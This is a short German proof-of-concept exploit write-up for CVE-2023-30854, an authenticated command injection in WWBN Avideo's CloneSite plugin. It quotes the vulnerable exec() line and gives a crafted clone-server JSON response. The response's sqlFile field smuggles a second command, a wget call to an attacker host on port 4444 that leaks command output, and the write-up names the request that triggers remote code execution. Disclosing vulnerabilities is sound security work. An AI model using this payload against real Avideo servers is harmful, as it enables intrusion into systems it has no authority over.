
Proof-of-Concept-Exploit für CVE-2023-30854: authentifizierte OS-Befehlsinjektion in WWBN Avideo < 12.3, die Remote-Codeausführung über eine manipulierte Clone-Server-Antwort ermöglicht.
CVE-2023-30854 WWBN Avideo < 12.3 Authenticated RCE
Eine Schwachstelle zur OS-Befehlseinschleusung in einem authentifizierten Endpunkt /plugin/CloneSite/cloneClient.json.php ermöglicht Angreifern die Remote Code Execution.
Anfälliger Code:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Wir können $objClone->cloneSiteURL über die Clone-Site-Funktion des Admin-Panels steuern.
/plugin/CloneSite/cloneClient.json.php sendet eine GET-Anfrage an {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. Ich habe eine speziell präparierte cloneServer.json.php gehostet, die folgende JSON-Daten ausgibt:
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Sende eine GET-Anfrage an /plugin/CloneSite/cloneClient.json.php, dann wird Remote Code Execution erreicht.
